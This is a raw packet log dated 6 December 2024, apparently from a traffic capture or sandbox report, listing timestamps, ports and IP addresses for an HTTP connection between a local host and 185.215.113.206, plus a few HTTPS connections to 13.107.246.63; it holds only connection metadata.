Dec 6, 2024 22:08:56.878460884 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.878509045 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:56.878933907 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.878947020 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.878977060 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:56.878988981 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:56.879764080 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.879810095 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:56.880253077 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.880312920 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:56.880688906 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.880701065 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.880738020 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:56.881587029 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.881599903 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.881635904 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:56.881654978 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:56.882441998 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.882455111 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.882484913 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:56.882498026 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:56.883297920 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.883310080 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.883346081 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:56.883434057 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:56.884110928 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.884160042 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:56.939693928 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.939770937 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:56.939960957 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.940016031 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:56.940342903 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.940393925 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:56.940794945 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.940849066 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:56.941212893 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.941262007 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:56.941570044 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.941616058 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:56.942007065 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.942064047 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:56.942461014 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.942477942 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.942508936 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:56.942526102 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:56.943351030 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.943403959 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:56.943738937 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.943789959 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:56.944205999 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.944217920 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.944259882 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:56.945193052 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.945250988 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:56.945533037 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.945544958 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.945585012 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:56.945600986 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:56.946372032 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.946424007 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:56.946850061 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.946863890 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.946893930 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:56.946911097 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:56.947735071 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.947753906 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.947803020 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:56.948587894 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.948601007 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.948647022 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:56.949484110 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.949496984 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.949534893 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:56.950333118 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.950345993 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.950377941 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:56.950407982 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:56.951220036 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.951231956 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.951270103 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:56.951967001 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:56.952086926 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.952100992 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.952162981 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:56.952970028 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.952987909 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.953031063 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:56.953054905 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:56.953871965 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.953886032 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.953931093 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:56.953943968 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:56.954720974 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.954732895 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.954785109 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:56.955620050 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.955681086 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:56.955993891 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.956012964 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.956048965 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:56.956063032 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:56.956999063 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.957012892 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.957060099 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:56.957726955 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.957783937 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:56.958211899 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.958223104 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.958270073 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:56.959089994 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.959103107 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.959153891 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:56.960088015 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.960100889 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.960175991 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:56.961054087 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.961182117 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:56.962039948 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.962053061 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.962063074 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.962383032 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:56.962933064 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.962944984 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.962996960 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:56.963937044 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.963949919 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.963999987 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:56.964015961 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:56.964876890 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.964890003 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.964936972 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:56.965859890 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.965873003 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.965918064 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:56.965939999 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:56.966820002 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.966833115 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.966847897 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.966865063 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:56.966897964 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:56.967794895 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.967808008 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.967844009 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:56.967869997 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:56.968777895 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.968796968 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.968821049 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:56.968836069 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:56.969741106 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.969755888 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.969783068 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:56.969799995 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:56.970721960 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.970736980 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.970747948 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.970767021 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:56.970798969 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:56.971611023 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.971659899 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:56.993704081 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.993761063 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:56.993918896 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.993967056 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:56.994399071 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.994446993 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:56.994781971 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.994828939 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:56.995225906 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.995274067 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:56.995671034 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.995717049 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:56.996088982 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:56.996133089 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.065042973 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.065202951 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.065246105 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.065305948 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.065697908 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.065747976 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.066122055 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.066170931 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.066591024 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.066601992 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.066641092 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.067437887 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.067481995 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.067873955 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.067918062 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.068432093 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.068443060 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.068480968 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.069190025 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.069235086 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.069612980 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.069663048 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.070108891 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.070121050 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.070158005 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.070940971 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.070986986 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.071398973 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.071448088 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.071844101 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.071855068 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.071897984 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.072740078 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.072756052 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.072787046 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.072814941 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.073657036 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.073673010 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.073704004 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.073731899 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.074512959 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.074525118 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.074565887 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.075382948 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.075396061 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.075437069 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.076172113 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.076220989 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.132235050 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.132352114 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.132349968 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.132399082 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.132827997 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.132839918 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.132889032 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.133698940 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.133749008 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.134110928 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.134159088 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.134560108 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.134572029 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.134612083 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.135442972 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.135493040 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.135881901 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.135930061 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.136302948 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.136313915 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.136357069 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.137177944 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.137228966 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.137670040 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.137681961 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.137722969 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.138533115 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.138582945 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.138948917 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.138961077 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.138999939 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.139934063 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.139945030 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.139981031 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.139998913 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.140712023 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.140723944 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.140767097 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.141566992 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.141578913 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.141618967 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.142436028 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.142446995 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.142486095 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.230463028 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.350203037 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.549397945 CET	443	49810	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:57.550066948 CET	49810	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:57.550100088 CET	443	49810	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:57.550579071 CET	49810	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:57.550585032 CET	443	49810	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:57.563256979 CET	443	49811	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:57.563751936 CET	49811	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:57.563780069 CET	443	49811	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:57.564071894 CET	49811	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:57.564076900 CET	443	49811	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:57.667574883 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.667784929 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.667814970 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.667850971 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.668184996 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.668220997 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.668335915 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.668370962 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.668762922 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.668804884 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.669236898 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.669256926 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.669297934 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.670275927 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.670288086 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.670320988 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.671184063 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.671196938 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.671227932 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.671998024 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.672039986 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.763310909 CET	443	49813	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:57.763704062 CET	443	49812	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:57.763717890 CET	443	49814	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:57.763922930 CET	49813	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:57.763943911 CET	443	49813	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:57.764238119 CET	49812	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:57.764265060 CET	443	49812	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:57.764432907 CET	49813	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:57.764436960 CET	443	49813	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:57.764692068 CET	49814	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:57.764702082 CET	443	49814	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:57.764719963 CET	49812	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:57.764725924 CET	443	49812	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:57.765055895 CET	49814	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:57.765060902 CET	443	49814	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:57.792216063 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.792287111 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.792443991 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.792493105 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.792835951 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.792882919 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.792977095 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.793024063 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.793390989 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.793437958 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.793512106 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.793549061 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.793988943 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.794071913 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.794435978 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.794446945 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.794487000 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.795284033 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.795330048 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.795707941 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.795790911 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.796186924 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.796197891 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.796232939 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.797090054 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.797137976 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.797496080 CET	80	49789	185.215.113.206	192.168.2.7
